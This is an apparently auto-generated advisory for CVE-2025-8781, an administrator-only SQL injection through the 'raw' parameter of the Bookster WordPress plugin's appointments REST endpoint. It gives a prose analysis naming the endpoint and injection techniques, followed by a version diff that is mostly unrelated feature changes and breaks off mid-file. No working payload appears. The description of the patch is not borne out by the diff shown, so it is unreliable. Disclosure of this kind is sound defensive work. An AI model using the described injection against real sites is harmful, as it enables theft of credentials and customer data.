Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-8781: Bookster – WordPress Appointment Booking Plugin <= 2.1.1 – Authenticated (Administrator+) SQL Injection via 'raw' (bookster)

CVE ID CVE-2025-8781
Plugin bookster
Severity Medium (CVSS 4.9)
CWE 89
Vulnerable Version 2.1.1
Patched Version 2.2.0
Disclosed February 16, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-8781:
This vulnerability is an authenticated SQL injection in the Bookster WordPress Appointment Booking Plugin affecting versions up to and including 2.1.1. The vulnerability exists in the plugin’s REST API endpoints that handle appointment queries, allowing administrators to inject arbitrary SQL via the ‘raw’ parameter. The CVSS score of 4.9 reflects the requirement for administrator-level access, limiting the attack surface to privileged users.

The root cause is insufficient input validation and improper query construction in the AppointmentsService class. The vulnerable code path begins in the query_appointments() method of AppointmentsController.php, which passes user-controlled parameters directly to the appointments_service->query_where_with_info() method. The ‘raw’ parameter from the REST request is incorporated into SQL WHERE clauses without proper sanitization or prepared statement usage. The plugin constructs dynamic SQL queries by concatenating user-supplied ‘raw’ parameter values directly into the query string.

Exploitation requires administrator-level access to the WordPress site. Attackers send authenticated POST requests to the /wp-json/bookster/v1/appointments endpoint with a malicious ‘raw’ parameter in the request body. The payload contains SQL injection syntax that gets appended to existing WHERE clauses in database queries. Example payloads include UNION-based queries to extract data from other tables or time-based blind SQL injection techniques to enumerate database structure and content.

The patch in version 2.2.0 addresses the vulnerability by implementing proper input validation and removing the direct incorporation of user-supplied ‘raw’ parameters into SQL queries. The fix modifies the query construction logic in AppointmentsService.php to use WordPress’s $wpdb->prepare() method for all dynamic query components. The patch also adds parameter type checking and sanitization before any database interaction occurs.

Successful exploitation allows authenticated administrators to execute arbitrary SQL queries on the WordPress database. This can lead to extraction of sensitive information including user credentials, payment details, appointment records, and other plugin data. While administrator access is required, the vulnerability enables privilege persistence and data exfiltration that could compromise the entire WordPress installation and associated systems.

Differential between vulnerable and patched code

Code Diff
--- a/bookster/assets/dist/blocks/customer-dashboard/index.asset.php
+++ b/bookster/assets/dist/blocks/customer-dashboard/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => 'cda5f887211bcb8deaaa');
+<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => 'aa444e3eb27725b74181');
--- a/bookster/bookster.php
+++ b/bookster/bookster.php
@@ -11,7 +11,7 @@
  * Plugin Name:       Bookster
  * Plugin URI:        https://wpbookster.com/
  * Description:       An awesome Booking system for WordPress.
- * Version:           2.1.1
+ * Version:           2.2.0
  * Requires at least: 6.2
  * Requires PHP:      7.4
  * Author:            WPBookster
@@ -25,7 +25,7 @@
     die( 'We're sorry, but you can not directly access this file.' );
 }

-define( 'BOOKSTER_VERSION', '2.1.1' );
+define( 'BOOKSTER_VERSION', '2.2.0' );

 define( 'BOOKSTER_PLUGIN_FILE', __FILE__ );
 define( 'BOOKSTER_PLUGIN_PATH', plugin_dir_path( BOOKSTER_PLUGIN_FILE ) );
--- a/bookster/src/Controllers/AddonsController.php
+++ b/bookster/src/Controllers/AddonsController.php
@@ -2,6 +2,8 @@
 namespace BooksterControllers;

 use BooksterFeaturesUtilsSingletonTrait;
+use BooksterServicesAddonsService;
+use BooksterFeaturesLicenseLicenseHelper;

 /**
  * AddonsControllser
@@ -11,7 +13,11 @@
 class AddonsController extends BaseRestController {
     use SingletonTrait;

+    /** @var AddonsService */
+    protected $addons_service;
+
     protected function __construct() {
+        $this->addons_service = AddonsService::get_instance();
         $this->init_hooks();
     }

@@ -29,6 +35,72 @@
                 ],
             ]
         );
+        register_rest_route(
+            self::REST_NAMESPACE,
+            '/addon/deactivate',
+            [
+                [
+                    'methods'             => 'PATCH',
+                    'callback'            => [ $this, 'exec_deactivate_addon' ],
+                    'permission_callback' => function () {
+                        return current_user_can( 'activate_plugins' );
+                    },
+                ],
+            ]
+        );
+        register_rest_route(
+            self::REST_NAMESPACE,
+            '/addon/install',
+            [
+                [
+                    'methods'             => 'POST',
+                    'callback'            => [ $this, 'exec_install_addon' ],
+                    'permission_callback' => function () {
+                        return current_user_can( 'install_plugins' );
+                    },
+                ],
+            ]
+        );
+        register_rest_route(
+            self::REST_NAMESPACE,
+            '/addon/update',
+            [
+                [
+                    'methods'             => 'POST',
+                    'callback'            => [ $this, 'exec_update_addon' ],
+                    'permission_callback' => function () {
+                        return current_user_can( 'update_plugins' );
+                    },
+                ],
+            ]
+        );
+
+        register_rest_route(
+            self::REST_NAMESPACE,
+            '/license/activate',
+            [
+                [
+                    'methods'             => 'POST',
+                    'callback'            => [ $this, 'exec_activate_license' ],
+                    'permission_callback' => function () {
+                        return current_user_can( 'manage_options' );
+                    },
+                ],
+            ]
+        );
+        register_rest_route(
+            self::REST_NAMESPACE,
+            '/license/deactivate',
+            [
+                [
+                    'methods'             => 'POST',
+                    'callback'            => [ $this, 'exec_deactivate_license' ],
+                    'permission_callback' => function () {
+                        return current_user_can( 'manage_options' );
+                    },
+                ],
+            ]
+        );
     }

     public function activate_addon( $request ) {
@@ -48,7 +120,84 @@
         return activate_plugin( $plugin_name );
     }

+    public function deactivate_addon( $request ) {
+        $arg = $request->get_json_params();
+
+        $addon_slug  = $arg['slug'];
+        $plugin_name = $addon_slug . '/' . $addon_slug . '.php';
+
+        if ( ! function_exists( 'is_plugin_active' ) ) {
+            require_once ABSPATH . '/wp-admin/includes/plugin.php';
+        }
+
+        if ( ! is_plugin_active( $plugin_name ) ) {
+            return;
+        }
+
+        return deactivate_plugins( $plugin_name );
+    }
+
+    public function install_addon( $request ) {
+        $arg = $request->get_json_params();
+
+        $addon_slug = $arg['slug'];
+        $item_id    = LicenseHelper::get_edd_item_id_from_slug( $addon_slug );
+        if ( isset( $item_id ) ) {
+            $result = $this->addons_service->process_edd_plugin_installer( $item_id );
+        }
+        $result = $this->addons_service->process_plugin_installer( $addon_slug );
+
+        if ( true === $result ) {
+            $this->activate_addon( $request );
+        }
+
+        return $result;
+    }
+
+    public function update_addon( $request ) {
+        $arg = $request->get_json_params();
+
+        $addon_slug = $arg['slug'];
+        $item_id    = LicenseHelper::get_edd_item_id_from_slug( $addon_slug );
+        if ( isset( $item_id ) ) {
+            return $this->addons_service->process_edd_plugin_updater( $addon_slug, $item_id );
+        }
+        return $this->addons_service->process_plugin_updater( $addon_slug );
+    }
+
+    public function activate_license( $request ) {
+        $arg = $request->get_json_params();
+
+        $license = $arg['license'];
+
+        return $this->addons_service->activate_license( $license );
+    }
+
+    public function deactivate_license() {
+        return $this->addons_service->deactivate_license();
+    }
+
     public function exec_activate_addon( $request ) {
         return $this->exec_write( [ $this, 'activate_addon' ], $request );
     }
+
+    public function exec_deactivate_addon( $request ) {
+        return $this->exec_write( [ $this, 'deactivate_addon' ], $request );
+    }
+
+    public function exec_install_addon( $request ) {
+        return $this->exec_write( [ $this, 'install_addon' ], $request );
+    }
+
+    public function exec_update_addon( $request ) {
+        return $this->exec_write( [ $this, 'update_addon' ], $request );
+    }
+
+    public function exec_activate_license( $request ) {
+        return $this->exec_write( [ $this, 'activate_license' ], $request );
+    }
+
+    public function exec_deactivate_license( $request ) {
+        return $this->exec_write( [ $this, 'deactivate_license' ], $request );
+    }
 }
--- a/bookster/src/Controllers/AppointmentsController.php
+++ b/bookster/src/Controllers/AppointmentsController.php
@@ -305,7 +305,8 @@
         $appointments = $this->appointments_service->query_where_with_info( $args );
         $total        = $this->appointments_service->count_where_with_info( $args );

-        $data = array_map(
+        $appointments = apply_filters( 'bookster_query_appointments_models', $appointments );
+        $data         = array_map(
             function( $appointment ) {
                 return $appointment->to_array();
             },
@@ -359,6 +360,8 @@
     public function get_appointment( WP_REST_Request $request ) {
         $appointment_id = $request->get_param( 'appointment_id' );
         $appointment    = $this->appointments_service->find_by_id_with_info( $appointment_id );
+
+        $appointment = apply_filters( 'bookster_get_appointment_model', $appointment );
         return $appointment->to_array();
     }

@@ -368,6 +371,7 @@

         $transactions = $this->transactions_service->get_by_appt_id( $appointment_id );

+        $appointment = apply_filters( 'bookster_get_appointment_model', $appointment );
         return [
             'appointment'  => $appointment->to_array(),
             'transactions' => array_map(
--- a/bookster/src/Controllers/AsCustomersController.php
+++ b/bookster/src/Controllers/AsCustomersController.php
@@ -1,16 +1,16 @@
 <?php
 namespace BooksterControllers;

+use BooksterFeaturesUtilsSingletonTrait;
 use BooksterServicesCustomersService;
 use BooksterServicesAppointmentsService;
 use BooksterServicesBookingsService;
-use BooksterFeaturesUtilsSingletonTrait;
-use BooksterServicesAppointmentMetasService;
 use BooksterFeaturesAuthRestAuth;
 use BooksterFeaturesErrorsForbiddenException;
 use BooksterFeaturesEnumsBookStatusEnum;
 use BooksterFeaturesUtilsArrayUtils;

+
 /**
  * As Customer Controller
  *
@@ -25,14 +25,11 @@
     private $appointments_service;
     /** @var BookingsService */
     private $bookings_service;
-    /** @var AppointmentMetasService */
-    private $appointment_metas_service;

     protected function __construct() {
-        $this->customers_service         = CustomersService::get_instance();
-        $this->appointments_service      = AppointmentsService::get_instance();
-        $this->bookings_service          = BookingsService::get_instance();
-        $this->appointment_metas_service = AppointmentMetasService::get_instance();
+        $this->customers_service    = CustomersService::get_instance();
+        $this->appointments_service = AppointmentsService::get_instance();
+        $this->bookings_service     = BookingsService::get_instance();

         $this->init_hooks();
     }
@@ -216,6 +213,7 @@
         $this->bookings_service->update_by_customer_id( $appointment_id, $customer_id, $args );

         $appointment = $this->appointments_service->find_by_id_with_info( $appointment_id );
+        do_action( 'bookster_customer_update_note', $appointment, $appointment_id, $args );
         return $appointment->to_array_for_customer_role( $customer_id );
     }

--- a/bookster/src/Controllers/AuthController.php
+++ b/bookster/src/Controllers/AuthController.php
@@ -3,7 +3,12 @@

 use BooksterServicesCustomersService;
 use BooksterServicesAuthService;
+use BooksterServicesSettingsService;
+use BooksterServicesAppointmentsService;
+use BooksterServicesBookingMetasService;
+use BooksterServicesBookingRequestService;
 use BooksterFeaturesUtilsSingletonTrait;
+use BooksterFeaturesConstantsDataKey;

 /**
  * Authentication Controller
@@ -17,10 +22,23 @@
     private $customers_service;
     /** @var AuthService */
     private $auth_service;
+    /** @var SettingsService */
+    private $settings_service;
+    /** @var AppointmentsService */
+    private $appointments_service;
+    /** @var BookingMetasService */
+    private $booking_metas_service;
+    /** @var BookingRequestService */
+    private $booking_request_service;

     protected function __construct() {
-        $this->customers_service = CustomersService::get_instance();
-        $this->auth_service      = AuthService::get_instance();
+        $this->customers_service       = CustomersService::get_instance();
+        $this->auth_service            = AuthService::get_instance();
+        $this->settings_service        = SettingsService::get_instance();
+        $this->appointments_service    = AppointmentsService::get_instance();
+        $this->booking_metas_service   = BookingMetasService::get_instance();
+        $this->booking_request_service = BookingRequestService::get_instance();
+
         $this->init_hooks();
     }

@@ -61,18 +79,47 @@
                 ],
             ]
         );
+
+        register_rest_route(
+            self::REST_NAMESPACE,
+            '/auth/create-account',
+            [
+                [
+                    'methods'             => WP_REST_Server::CREATABLE,
+                    'callback'            => [ $this, 'exec_create_account' ],
+                    'permission_callback' => '__return_true',
+                ],
+            ]
+        );
     }

     public function login( WP_REST_Request $request ) {
-        $this->auth_service->login( $request->get_param( 'username' ), $request->get_param( 'password' ), $request->get_param( 'remember' ) );
+        $args     = $request->get_json_params();
+        $username = $args['username'];
+        $password = $args['password'];
+        $remember = $args['remember'];
+
+        $this->auth_service->login( $username, $password, $remember );
         $customer = $this->auth_service->get_customer_record_of_current_user();
         $agent    = $this->auth_service->get_agent_record_of_current_user();

-        return [
+        $result = [
             'wpUserInfo'     => $this->auth_service->get_wp_user_info(),
             'customerRecord' => null !== $customer ? $customer->to_array() : null,
             'agentRecord'    => null !== $agent ? $agent->to_array() : null,
         ];
+
+        if ( isset( $args['bookingRequestInput'] ) ) {
+            $current_user                  = wp_get_current_user();
+            $valid                         = $this->booking_request_service->validate_contact(
+                $args['bookingRequestInput'],
+                $current_user->user_email,
+                $customer
+            );
+            $result['bookingRequestValid'] = $valid;
+        }
+
+        return $result;
     }

     public function logout() {
@@ -80,9 +127,79 @@
     }

     public function check_wp_user_email_exists( WP_REST_Request $request ) {
-        $args = $request->get_json_params();
-        $res  = email_exists( $args['email'] );
-        return $res ? 1 : 0;
+        $args         = $request->get_json_params();
+        $email_exists = email_exists( $args['email'] );
+        $result       = [
+            'emailExists' => false !== $email_exists && 0 !== $email_exists,
+        ];
+
+        if ( isset( $args['bookingRequestInput'] ) ) {
+            $customer                      = $this->customers_service->find_one_with_info( [ 'email' => $args['email'] ] );
+            $valid                         = $this->booking_request_service->validate_contact(
+                $args['bookingRequestInput'],
+                $args['email'],
+                $customer
+            );
+            $result['bookingRequestValid'] = $valid;
+        }
+
+        return $result;
+    }
+
+    public function create_account( $request ) {
+        $args           = $request->get_json_params();
+        $email          = $args['email'];
+        $appointment_id = $args['appointment_id'];
+        $preview_code   = $args['preview_code'];
+
+        $unauthorized_error = new WP_Error(
+            'bookster_unauthorized',
+            __( 'Sorry, do not have permission to create account.', 'bookster' ),
+            [ 'status' => 403 ]
+        );
+
+        $account_settings = $this->settings_service->get_manager_data()['accountSettings'];
+        if ( true !== $account_settings['enable_guest_booking'] || true !== $account_settings['allow_account_create_after_booking'] ) {
+            return $unauthorized_error;
+        }
+
+        $user = get_user_by( 'email', $email );
+        if ( false !== $user ) {
+            return $unauthorized_error;
+        }
+
+        $appointment = $this->appointments_service->find_by_id_with_info( $appointment_id );
+        if ( null === $appointment ) {
+            return $unauthorized_error;
+        }
+
+        $customer = false;
+        foreach ( $appointment->bookings as $appt_booking ) {
+            if ( $appt_booking->customer->email === $email ) {
+                $customer = $this->customers_service->find_by_id_with_info( $appt_booking->customer->customer_id );
+                break;
+            }
+        }
+        if ( false === $customer ) {
+            return $unauthorized_error;
+        }
+
+        $preview_code_meta = $this->booking_metas_service->get_by_meta_key( $appointment_id, $customer->customer_id, DataKey::BOOKING_META_PREVIEW_CODE );
+        if ( null === $preview_code_meta || $preview_code_meta->meta_value !== $preview_code ) {
+            return $unauthorized_error;
+        }
+
+        // Validation Passed
+        $first_name = $customer->first_name;
+        $last_name  = $customer->last_name;
+
+        $wp_user_id = $this->customers_service->connect( $email, $first_name, $last_name );
+        do_action( 'register_new_user', $wp_user_id );
+
+        $this->customers_service->update( $customer->customer_id, [ 'wp_user_id' => $wp_user_id ] );
+        return [
+            'customer_id' => $customer->customer_id,
+        ];
     }

     public function exec_patch_login( $request ) {
@@ -96,4 +213,8 @@
     public function exec_patch_email_exists( $request ) {
         return $this->exec_read( [ $this, 'check_wp_user_email_exists' ], $request );
     }
+
+    public function exec_create_account( $request ) {
+        return $this->exec_write( [ $this, 'create_account' ], $request );
+    }
 }
--- a/bookster/src/Controllers/BookingRequestController.php
+++ b/bookster/src/Controllers/BookingRequestController.php
@@ -1,6 +1,7 @@
 <?php
 namespace BooksterControllers;

+use BooksterServicesSettingsService;
 use BooksterServicesAppointmentsService;
 use BooksterServicesBookingsService;
 use BooksterServicesCustomersService;
@@ -12,6 +13,9 @@
 use BooksterFeaturesAuthRestAuth;
 use BooksterModelsTransactionModel;
 use BooksterFeaturesUtilsArrayUtils;
+use BooksterFeaturesUtilsRandomUtils;
+use BooksterFeaturesErrorsForbiddenException;
+use BooksterFeaturesConstantsDataKey;

 /**
  * API Controller for Booking Request from Customer
@@ -21,6 +25,8 @@
 class BookingRequestController extends BaseRestController {
     use SingletonTrait;

+    /** @var SettingsService */
+    private $settings_service;
     /** @var AppointmentsService */
     private $appointments_service;
     /** @var BookingsService */
@@ -37,6 +43,7 @@
     private $booking_request_service;

     protected function __construct() {
+        $this->settings_service          = SettingsService::get_instance();
         $this->appointments_service      = AppointmentsService::get_instance();
         $this->bookings_service          = BookingsService::get_instance();
         $this->customers_service         = CustomersService::get_instance();
@@ -82,10 +89,13 @@
         $contact_input      = $booking_request_input['contactInput'];
         $booking_meta_input = $booking_request_input['bookingMetaInput'];

-        if ( true === $contact_input['isNewCustomer'] ) {
+        if ( true === $contact_input['isGuest'] ) {
+            $this->guest_can_book_appointment( $contact_input['values']['email'] );
+
             // check customer exist with email -> create new customer
-            $customer                     = $this->update_contact_for_new_customer( $contact_input['values'] );
+            $customer                     = $this->update_contact_for_guest_customer( $contact_input['values'] );
             $booking_input['customer_id'] = $customer->customer_id;
+            $booking_meta_input[ DataKey::BOOKING_META_PREVIEW_CODE ] = RandomUtils::gen_random_string( 8 );
         } else {
             $customer                     = $this->update_contact_for_current_customer( $contact_input['values'] );
             $booking_input['customer_id'] = $customer->customer_id;
@@ -130,11 +140,17 @@
          */
         do_action( 'bookster_request_booking_success', $appointment, $booking, $transaction, $customer, $booking_request_input );

-        return [
+        $response = [
             'appointment' => $appointment->to_array_for_customer_role( $customer->customer_id ),
             'transaction' => null === $transaction ? $transaction : $transaction->to_client_array(),
             'customer'    => $customer->to_array_for_customer_role(),
         ];
+        if ( isset( $booking_meta_input['preview_code'] ) ) {
+            $response['preview_code'] = $booking_meta_input['preview_code'];
+        }
+
+        $response = apply_filters( 'bookster_request_booking_response', $response, $appointment, $booking, $transaction, $customer, $booking_request_input );
+        return $response;
     }

     private function validate_payload_allowed_keys( $booking_input ) {
@@ -147,7 +163,7 @@
             ],
             'bookingMetaInput' => [],
             'transactionInput' => [ 'transactionId', 'payment_gateway' ],
-            'contactInput'     => [ 'isNewCustomer', 'values' ],
+            'contactInput'     => [ 'isNewCustomer', 'isGuest', 'values' ],
         ];
         $allowed_keys = apply_filters( 'bookster_booking_payload_allowed_keys', $allowed_keys );

@@ -182,22 +198,28 @@
         $args         = $request->get_json_params();
         $contact_data = $args['contactInput'];

-        return $contact_data['isNewCustomer'] ? true : RestAuth::require_login();
+        return $contact_data['isGuest'] ? true : RestAuth::require_login();
     }

-    private function update_contact_for_new_customer( $values ) {
-        $email      = $values['email'];
-        $first_name = $values['first_name'];
-        $last_name  = $values['last_name'];
+    public function guest_can_book_appointment( string $guest_email ) {
+        $account_settings = $this->settings_service->get_manager_data()['accountSettings'];
+        if ( true !== $account_settings['enable_guest_booking'] ) {
+            throw new ForbiddenException( 'Please login to book appointment!' );
+        }
+
+        $user = get_user_by( 'email', $guest_email );
+        if ( false !== $user ) {
+            throw new ForbiddenException( 'Please login to book appointment!' );
+        }
+    }

-        $wp_user_id = $this->customers_service->connect( $email, $first_name, $last_name );
-        do_action( 'register_new_user', $wp_user_id );
+    private function update_contact_for_guest_customer( $values ) {
+        $email = $values['email'];

-        $update_args               = ArrayUtils::pick(
+        $update_args = ArrayUtils::pick(
             $values,
             [ 'first_name', 'last_name', 'phone' ]
         );
-        $update_args['wp_user_id'] = $wp_user_id;

         $customer = $this->customers_service->find_one_with_info( [ 'email' => $email ] );

--- a/bookster/src/Controllers/CustomersController.php
+++ b/bookster/src/Controllers/CustomersController.php
@@ -115,6 +115,18 @@
                 ],
             ]
         );
+
+        register_rest_route(
+            self::REST_NAMESPACE,
+            '/customers/import-csv',
+            [
+                [
+                    'methods'             => 'POST',
+                    'callback'            => [ $this, 'exec_import_customers_from_csv' ],
+                    'permission_callback' => [ $this, 'require_any_records_caps' ],
+                ],
+            ]
+        );
     }

     public function query_customers( WP_REST_Request $request ) {
@@ -196,6 +208,45 @@
         return $customer->to_array();
     }

+    public function import_customers_from_csv( WP_REST_Request $request ) {
+        $files = $request->get_file_params();
+        if ( empty( $files['file'] ) ) {
+            return [
+                'success' => false,
+                'error'   => 'No file uploaded.',
+            ];
+        }
+
+        $file = $files['file'];
+        if ( UPLOAD_ERR_OK !== $file['error'] ) {
+            return [
+                'success' => false,
+                'error'   => 'File upload failed.',
+            ];
+        }
+
+        $file_type = wp_check_filetype( $file['name'] );
+        if ( 'csv' !== $file_type['ext'] ) {
+            return [
+                'success' => false,
+                'error'   => 'Invalid file type. Only CSV files are allowed.',
+            ];
+        }
+
+        $mapping = json_decode( $request->get_param( 'mapping' ), true );
+        if ( ! $mapping ) {
+            return [
+                'success' => false,
+                'error'   => 'Invalid mapping data.',
+            ];
+        }
+
+        $position   = (int) $request->get_param( 'position' );
+        $batch_size = max( (int) $request->get_param( 'batch_size' ), 100 );
+
+        return $this->customers_service->import_from_csv( $file['tmp_name'], $mapping, $position, $batch_size );
+    }
+
     public function delete_customer( WP_REST_Request $request ) {
         return $this->customers_service->delete( $request->get_param( 'customer_id' ) );
     }
@@ -240,6 +291,10 @@
         return $this->exec_write( [ $this, 'link_customer' ], $request );
     }

+    public function exec_import_customers_from_csv( $request ) {
+        return $this->exec_write( [ $this, 'import_customers_from_csv' ], $request );
+    }
+
     public function require_any_records_caps() {
         return RestAuth::require_any_caps( [ Caps::MANAGE_SHOP_RECORDS_CAP, Caps::MANAGE_AGENT_RECORDS_CAP ] );
     }
--- a/bookster/src/Engine/BEPages/AgentPage.php
+++ b/bookster/src/Engine/BEPages/AgentPage.php
@@ -162,4 +162,18 @@
             $this->enqueue_logic->enqueue_page_agent();
         }
     }
+
+    /**
+     * @param WP_Screen $current_screen
+     * @return bool
+     */
+    public static function is_agent_page( $current_screen = null ) {
+        if ( ! $current_screen ) {
+            $current_screen = get_current_screen();
+        }
+        if ( ! $current_screen ) {
+            return false;
+        }
+        return 'toplevel_page_' . self::MENU_SLUG === $current_screen->base;
+    }
 }
--- a/bookster/src/Engine/BEPages/IntroPage.php
+++ b/bookster/src/Engine/BEPages/IntroPage.php
@@ -70,18 +70,12 @@
         $preset_page = $this->get_preset_page();

         if ( 'booking-form' === $preset_page ) {
-            return $this->is_block_editor_page()
-            ? '<!-- wp:shortcode -->
-                [bookster_booking_form]
-            <!-- /wp:shortcode -->'
-            : '[bookster_booking_form]';
-        }
-        if ( 'customer-dashboard' === $preset_page ) {
-            return $this->is_block_editor_page()
-            ? '<!-- wp:shortcode -->
-                [bookster_customer_dashboard]
-            <!-- /wp:shortcode -->'
-            : '[bookster_customer_dashboard]';
+            if ( $this->is_block_editor_page() ) {
+                $default_button_text = __( 'Book an Appointment', 'bookster' );
+                return '<!-- wp:bookster/booking-button {"text":"' . $default_button_text . '"} --><div class="wp-block-buttons"><div class="wp-block-bookster-booking-button wp-block-button" data-button-props="{"className":"wp-block-button__link wp-element-button","style":{},"children":"' . $default_button_text . '"}"><button type="button" class="wp-block-button__link wp-element-button">' . $default_button_text . '</button></div></div><!-- /wp:bookster/booking-button -->';
+            } else {
+                return '[bookster_booking_button]';
+            }
         }
         return $content;
     }
@@ -92,9 +86,6 @@
         if ( 'booking-form' === $preset_page ) {
             return __( 'Booking', 'bookster' );
         }
-        if ( 'customer-dashboard' === $preset_page ) {
-            return __( 'Customer Dashboard', 'bookster' );
-        }
         return $title;
     }

--- a/bookster/src/Engine/BEPages/ManagerPage.php
+++ b/bookster/src/Engine/BEPages/ManagerPage.php
@@ -220,7 +220,11 @@
         }
     }

-    public static function is_manager_page( WP_Screen $current_screen = null ) {
+    /**
+     * @param WP_Screen $current_screen
+     * @return bool
+     */
+    public static function is_manager_page( $current_screen = null ) {
         if ( ! $current_screen ) {
             $current_screen = get_current_screen();
         }
--- a/bookster/src/Engine/Intergration/EmailNotification.php
+++ b/bookster/src/Engine/Intergration/EmailNotification.php
@@ -149,6 +149,16 @@
         }

         if ( BookStatusEnum::CANCELED === $book_status ) {
+            if ( true === $notifications['canceled_appt_customer']['enabled'] ) {
+                foreach ( $appt->bookings as $booking ) {
+                    $send_task->dispatch_email(
+                        $appt->appointment_id,
+                        $booking->booking_id,
+                        'canceled_appt_customer'
+                    );
+                }
+            }
+
             if ( true === $notifications['canceled_appt_agent']['enabled'] ) {
                 $send_task->dispatch_email(
                     $appt->appointment_id,
--- a/bookster/src/Engine/Register/RegisterFacade.php
+++ b/bookster/src/Engine/Register/RegisterFacade.php
@@ -20,7 +20,6 @@
         add_filter( 'script_loader_tag', [ $this, 'add_entry_as_module' ], 10, 3 );

         add_action( 'init', [ $this, 'register_all_assets' ] );
-
         add_filter( 'pre_load_script_translations', [ $this, 'use_mo_file_for_script_translations' ], 10, 4 );

         if ( $is_prod && class_exists( 'BooksterEngineRegisterRegisterProd' ) ) {
@@ -33,13 +32,28 @@
     public function add_entry_as_module( $tag, $handle ) {
         $module_handles = apply_filters( 'bookster_module_handles', [] );

-        if ( strpos( $handle, ScriptName::MODULE_PREFIX ) !== false || in_array( $handle, $module_handles, true ) ) {
-            if ( strpos( $tag, 'type="' ) !== false ) {
-                return preg_replace( '/stype="S+s/', ' type="module" ', $tag, 1 );
+        if ( strpos( $handle, ScriptName::MODULE_PREFIX ) === false && ! in_array( $handle, $module_handles, true ) ) {
+            return $tag;
+        }
+
+        // $handle could has special characters bookster/module/block-booking-button
+        $handle_regex = str_replace( '/', '/', $handle );
+        // find the string begin with '<script' and end with '</script>' between having 'id="' . $handle . '-js"'
+        $pattern = '/<script[^>]*id="' . $handle_regex . '-js"[^>]*>.*?</script>/';
+        preg_match( $pattern, $tag, $matches );
+
+        if ( null !== $matches && count( $matches ) > 0 ) {
+            $script_tag = $matches[0];
+
+            if ( strpos( $script_tag, 'type="' ) !== false ) {
+                $module_tag = preg_replace( '/stype="S+s/', ' type="module" ', $script_tag, 1 );
             } else {
-                return str_replace( ' src=', ' type="module" src=', $tag );
+                $module_tag = str_replace( ' src=', ' type="module" src=', $script_tag );
             }
+
+            return str_replace( $script_tag, $module_tag, $tag );
         }
+
         return $tag;
     }

@@ -75,16 +89,10 @@
             ScriptName::BLOCK_CUSTOMER_DASHBOARD,
         ];

-        if ( 'bookster' !== $domain || ! in_array( $handle, $all_handles, true ) || ! is_textdomain_loaded( 'bookster' ) ) {
+        if ( 'bookster' !== $domain || ! in_array( $handle, $all_handles, true ) ) {
             return $json_translations;
         }

-        $mimic_json_translations = get_transient( 'bookster_mimic_json_translations' . BOOKSTER_VERSION );
-
-        if ( false !== $mimic_json_translations ) {
-            return $mimic_json_translations;
-        }
-
         $translations = get_translations_for_domain( 'bookster' );
         $messages     = [
             '' => [
@@ -96,7 +104,7 @@
             $messages[ $entry->singular ] = $entry->translations;
         }

-        $mimic_json_translations = wp_json_encode(
+        return wp_json_encode(
             [
                 'domain'      => 'messages',
                 'locale_data' => [
@@ -104,7 +112,5 @@
                 ],
             ]
         );
-        set_transient( 'bookster_mimic_json_translations' . BOOKSTER_VERSION, $mimic_json_translations, 30 * DAY_IN_SECONDS );
-        return $mimic_json_translations;
     }
 }
--- a/bookster/src/Engine/Tasks/CheckLicenseStatusTask.php
+++ b/bookster/src/Engine/Tasks/CheckLicenseStatusTask.php
@@ -0,0 +1,35 @@
+<?php
+namespace BooksterEngineTasks;
+
+use BooksterFeaturesTasksBaseTask;
+use BooksterFeaturesUtilsSingletonTrait;
+use BooksterFeaturesTasksDispatcherIntervalDispatcher;
+use BooksterFeaturesEnumsCronEnum;
+use BooksterServicesAddonsService;
+
+/**
+ * Clean Orphaned Transactions Task
+ *
+ * @method static CheckLicenseStatusTask get_instance()
+ */
+class CheckLicenseStatusTask extends BaseTask {
+    use SingletonTrait;
+
+    protected $task_name = 'bookster_task_check_license_status';
+
+    /** @var AddonsService */
+    protected $addons_service;
+
+    protected function __construct() {
+        parent::init_hooks();
+        $this->addons_service = AddonsService::get_instance();
+    }
+
+    public function task_callback( $args ) {
+        $this->addons_service->check_license();
+    }
+
+    protected function create_dispatcher() {
+        return new IntervalDispatcher( $this->task_name, CronEnum::EVERY_5_MINS );
+    }
+}
--- a/bookster/src/Engine/Tasks/RegisterTasks.php
+++ b/bookster/src/Engine/Tasks/RegisterTasks.php
@@ -15,6 +15,7 @@

         CleanTransactionTask::get_instance();
         SendApptNoticeEmailsTask::get_instance();
+        CheckLicenseStatusTask::get_instance();
     }

     public function add_cron_schedules( $schedules ) {
--- a/bookster/src/Engine/Tasks/SendApptNoticeEmailsTask.php
+++ b/bookster/src/Engine/Tasks/SendApptNoticeEmailsTask.php
@@ -53,6 +53,7 @@

             case 'new_pending_booking_customer':
             case 'approved_appt_customer':
+            case 'canceled_appt_customer':
             case 'manual_resend_appt_customer':
                 return $this->email_service->send_appt_notice_customer( $appt, $booking, $notice_event );

--- a/bookster/src/Features/Booking/Details/AdjustmentItem.php
+++ b/bookster/src/Features/Booking/Details/AdjustmentItem.php
@@ -14,18 +14,22 @@
     public $formula;
     /** @var Decimal */
     public $amount;
+    /** @var array|null */
+    public $meta;

     /**
-     * @param string  $id
-     * @param string  $title
-     * @param Formula $formula
-     * @param Decimal $amount
+     * @param string     $id
+     * @param string     $title
+     * @param Formula    $formula
+     * @param Decimal    $amount
+     * @param array|null $meta
      */
-    public function __construct( $id, $title, $formula, $amount ) {
+    public function __construct( $id, $title, $formula, $amount, $meta = null ) {
         $this->id      = $id;
         $this->title   = $title;
         $this->formula = $formula;
         $this->amount  = $amount;
+        $this->meta    = $meta;
     }

     public static function from_json( array $item_json ): AdjustmentItem {
@@ -38,6 +42,7 @@
             'title'   => $this->title,
             'formula' => $this->formula->to_json(),
             'amount'  => $this->amount->to_number(),
+            'meta'    => $this->meta,
         ];
     }

--- a/bookster/src/Features/Booking/Details/BookingItem.php
+++ b/bookster/src/Features/Booking/Details/BookingItem.php
@@ -16,6 +16,8 @@
     public $unit_price;
     /** @var Decimal */
     public $amount;
+    /** @var array|null */
+    public $meta;

     /**
      * @param string  $id
@@ -23,17 +25,26 @@
      * @param int     $quantity
      * @param Decimal $unit_price
      * @param Decimal $amount
+     * @param array   $meta
      */
-    public function __construct( $id, $title, $quantity, $unit_price, $amount ) {
+    public function __construct( $id, $title, $quantity, $unit_price, $amount, $meta = null ) {
         $this->id         = $id;
         $this->title      = $title;
